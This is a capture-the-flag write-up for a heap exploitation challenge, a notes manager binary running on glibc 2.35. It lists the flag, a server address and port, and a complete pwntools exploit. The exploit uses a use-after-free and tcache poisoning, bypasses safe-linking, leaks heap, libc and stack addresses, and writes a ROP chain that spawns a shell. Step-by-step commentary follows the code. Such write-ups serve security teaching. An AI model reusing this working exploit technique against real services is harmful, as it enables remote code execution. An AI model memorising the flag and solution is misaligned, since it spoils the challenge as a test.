chal1

Description	In a quiet and picturesque village, there existed a renowned notes manager system known as "NoteKeeper" It was used by villagers to store their most treasured thoughts, ideas, and secrets. However, one gloomy day, a malicious attacker infiltrated the system and poisoned it with a deadly toxin that encrypted all the notes, rendering them inaccessible. The village's security experts, known as the "Guardians of the Village," were alerted to this grave situation. They worked tirelessly to analyze the code and discovered that the attacker had left behind a riddle as a taunt. The riddle read: "Notes manager was poisoned, so we gave it antidote. The antidote lies within the code, but it's cleverly remote. Decrypt the notes, save the day, and free the village's vote.”
Flag	flag{h3ll0_w0rld}
# Port	9998
Server IP	98.70.34.66

Solution

- pip3 install pwntools
- python3 solve.py

▼ **solve.py**

```
from pwn import *
libc_path = './libc.so.6'
context.binary = "./chal/chal"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF(libc_path)


# wrapper over binary functions
# int menu()
# {
#   return putchar(62);
# }
def menu(s):
    s.recvuntil(b'>')


# void __fastcall add()
# {
#   unsigned __int64 i; // [rsp+8h] [rbp-18h]
#   size_t size; // [rsp+10h] [rbp-10h]
#   void *v2; // [rsp+18h] [rbp-8h]

#   for ( i = 0LL; i <= 0xF && array[i]; ++i )
#     ;
#   puts("Size:");
#   size = readint();
#   if ( size <= 0x1FFF )
#   {
#     v2 = malloc(size);
#     if ( v2 )
#     {
#       array[i] = v2;
#       size_array[i] = size;
#     }
#   }
# }
def alloc(s, size):
    menu(s)
    s.sendline('1')
```

```
    s.recvline()
    s.sendline(str(size))


# void delete()
# {
#   unsigned __int64 v0; // [rsp+8h] [rbp-8h]

#   puts("which note do you wanna delete?");
#   putchar(62);
#   v0 = readint();
#   if ( v0 <= 0xF )
#     free(array[v0]);
# }
def free(s, idx):
    menu(s)
    s.sendline('2')
    s.recvuntil(b'>')
    s.sendline(str(idx))


# void __fastcall edit()
# {
#   unsigned __int64 v0; // [rsp+8h] [rbp-8h]

#   puts("which note do you wanna edit?");
#   putchar(62);
#   v0 = readint();
#   if ( v0 <= 0xF )
#   {
#     puts("Content:");
#     read(0, array[v0], size_array[v0]);
#   }
# }
def edit(s, idx, cont):
    menu(s)
    s.sendline('3')
    s.recvuntil(b'>')
    s.sendline(str(idx))
    s.recvline()
    # s.sendline(str(idx))
    s.sendline(cont)


# void __fastcall show()
# {
#   unsigned __int64 v0; // [rsp+8h] [rbp-8h]

#   puts("which note do you wanna read?");
#   putchar(62);
#   v0 = readint();
#   if ( v0 <= 0xF )
#   {
#     puts("Content:");
#     write(1, *(&array + v0), size_array[v0]);
#   }
# }
def read(s, idx, size):
    menu(s)
    s.sendline('4')
    s.recvuntil(b'>')
    s.sendline(str(idx))
    s.recvline()
    return s.recv(size)


def exploit():
    # s = process(env={'LD_PRELOAD': libc_path})
    # gdb.attach(s, 'b *main+124')

######################################################################################################################################
######################################################################################################################################
    s = remote('127.0.0.1', 9998) #changeme
######################################################################################################################################
######################################################################################################################################

    alloc(s, 17)  # array idx = 0
    alloc(s, 17)  # array idx = 1
```

```
    free(s, 0)
    free(s, 1)
    # we need a heap leak - as pointers to next chunks are encoded with xor now
    # See - https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41
    #     +/* Safe-Linking:
    # +   Use randomness from ASLR (mmap_base) to protect single-linked lists
    # +   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
    # +   lists' chunks, and also perform allocation alignment checks on them.
    # +   This mechanism reduces the risk of pointer hijacking, as was done with
    # +   Safe-Unlinking in the double-linked lists of Small-Bins.
    # +   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
    # +   larger pages provide less entropy, although the pointer mangling
    # +   still works.  */
    # +#define PROTECT_PTR(pos, ptr) \
    # +  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
    # +#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
    shifted = u64(read(s, 0, 8))
    xored = u64(read(s, 1, 8))
    # Obtain a heap leak using the first freed tcache and use the encoded pointer in next freed to leak the heap address
    heap_leak = shifted ^ xored
    # not needed - but just for validation - See that only shifted is used in the script here
    success(hex(heap_leak))
    # libc leak using the small bin - first freed smallbin points to main arena
    alloc(s, 2048)  # array idx = 2
    alloc(s, 2048)  # array idx = 3 - don't merge with top - If we don't allocate a chunk here the chunk at index 2 gets merged to to c
    free(s, 2)
    leak = read(s, 2, 2048)
    libc_leak = u64(leak[:8])
    success(hex(libc_leak))
    libc.address = libc_leak - 0x219ce0
    environ = libc.symbols['environ']
    success(hex(environ))
    # tcache poisoning - 1
    # allocate over environ to leak the stack environment pointer
    edit(s, 1, p64(shifted ^ environ))
    alloc(s, 17)  # 4
    alloc(s, 17)  # 5 - should allocate over environ
    leak = read(s, 5, 16)
    stack_leak = u64(leak[:8])
    success(hex(stack_leak))

    # tcache poisoning - 2
    alloc(s, 49)  # 6
    alloc(s, 49)  # 7
    free(s, 6)
    free(s, 7)
    # allocate over stack to write the rop chain - see that the address should be aligned - So we subtracted 0x128 instead of 0x120
    edit(s, 7, p64(shifted ^ (stack_leak - 0x128)))
    alloc(s, 49)  # 8
    alloc(s, 49)  # 9 - should allocate over ret
    bin_sh = next(libc.search(b'/bin/sh'))
    rop = ROP(libc)
    payload = p64(rop.rdi.address) # dummy - we allocated 8 bytes above the actual ret - due to alignment
    payload += p64(rop.rdi.address) # pop rdi; ret gadget to get address of "/bin/sh" to arg1 - rdi
    payload += p64(bin_sh) # address of "/bin/sh" in libc
    payload += p64(rop.rdi.address + 1) # additional ret to help align the stack
    payload += p64(libc.symbols['system']) # system - should not return unless fails
    payload += p64(libc.symbols['exit']) # exit if system fails
    edit(s, 9, payload)
    menu(s)
    s.sendline('5') # return from main to trigger ROP
    s.interactive()


if __name__ == "__main__":
    exploit()
```

The given `glibc` is 2.35 from Ubuntu 22.04

```
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21 as ctf
```

Relevant reading - https://github.com/shellphish/how2heap/tree/master/glibc_2.35

These binaries are fully patched too and both the binaries have the same code as v1

`tcache` poisoning - v2

`glibc` maintainers added some checks that need to be bypassed now

- Encrypted `fd` pointers - https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41
  With this commit the `fd` pointer which we overwrote in the last exploit is now encrypted by xoring it with the heap base address >> 12. So first we need to leak this so that we can encrypt the target pointer and overwrite it on `fd`
- Alignment check - `malloc` checks that the `fd` pointer after decryption is aligned to 16 bytes - i.e. has 0 as least significant nibble.

So now the first step of the attack would be to leak the heap base. This is simple - the first member of the tcache freelist has this heap base as the next value.

More details https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c

As mentioned above - we first need to leak the heap base from the first freed tcache chunk - All other steps are same.

Here is how we do it

1. Leak heap

```
alloc(s, 17)  # array idx = 0
alloc(s, 17)  # array idx = 1
free(s, 0)
free(s, 1)
# we need a heap leak - as pointers to next chunks are encoded with xor now
# See - https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41
#     +/* Safe-Linking:
# +   Use randomness from ASLR (mmap_base) to protect single-linked lists
# +   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
# +   lists' chunks, and also perform allocation alignment checks on them.
# +   This mechanism reduces the risk of pointer hijacking, as was done with
# +   Safe-Unlinking in the double-linked lists of Small-Bins.
# +   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
# +   larger pages provide less entropy, although the pointer mangling
# +   still works.  */
# +#define PROTECT_PTR(pos, ptr) \
# +  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
# +#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
shifted = u64(read(s, 0, 8))
xored = u64(read(s, 1, 8))
# Obtain a heap leak using the first freed tcache and use the encoded pointer in next freed to leak the heap address
heap_leak = shifted ^ xored
# not needed - but just for validation - See that only shifted is used in the script here
success(hex(heap_leak))
```

2. Use this leak to encode all the pointers to be used in `tcache poisoning`. Leak libc using small bin and calculate `environ`

```
# libc leak using the small bin - first freed smallbin points to main arena
alloc(s, 2048)  # array idx = 2
alloc(s, 2048)  # array idx = 3 - don't merge with top - If we don't allocate a chunk here the chunk at index 2 gets merged to to chunk
free(s, 2)
leak = read(s, 2, 2048)
libc_leak = u64(leak[:8])
success(hex(libc_leak))
libc.address = libc_leak - 0x219ce0
environ = libc.symbols['environ']
success(hex(environ))
```

3. tcache poison to leak the `environ` value - a pointer to the stack. - See the use of `shifted` in the script

```
# tcache poisoning - 1
# allocate over environ to leak the stack environment pointer
edit(s, 1, p64(shifted ^ environ))
```

```
alloc(s, 17)  # 4
alloc(s, 17)  # 5 - should allocate over environ
leak = read(s, 5, 16)
stack_leak = u64(leak[:8])
success(hex(stack_leak))
```

4. tcache poison again to get `malloc` to return a location on the stack - See the use of `shifted` in the script

```
# tcache poisoning - 2
alloc(s, 49)  # 6
alloc(s, 49)  # 7
free(s, 6)
free(s, 7)
# allocate over stack to write the rop chain - see that the address should be aligned - So we subtracted 0x128 instead of 0x120
edit(s, 7, p64(shifted ^ (stack_leak - 0x128)))
alloc(s, 49)  # 8
alloc(s, 49)  # 9 - should allocate over ret
```

5. build and write the rop chain - see that the stack address returned is not exactly over the saved instruction pointer and we need to write 8 dummy bytes.

```
bin_sh = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
payload = p64(rop.rdi.address) # dummy - we allocated 8 bytes above the actual ret - due to alignment
payload += p64(rop.rdi.address) # pop rdi; ret gadget to get address of "/bin/sh" to arg1 - rdi
payload += p64(bin_sh) # address of "/bin/sh" in libc
payload += p64(rop.rdi.address + 1) # additional ret to help align the stack
payload += p64(libc.symbols['system']) # system - should not return unless fails
payload += p64(libc.symbols['exit']) # exit if system fails
edit(s, 9, payload)
menu(s)
s.sendline('5') # return from main to trigger ROP
s.interactive()
```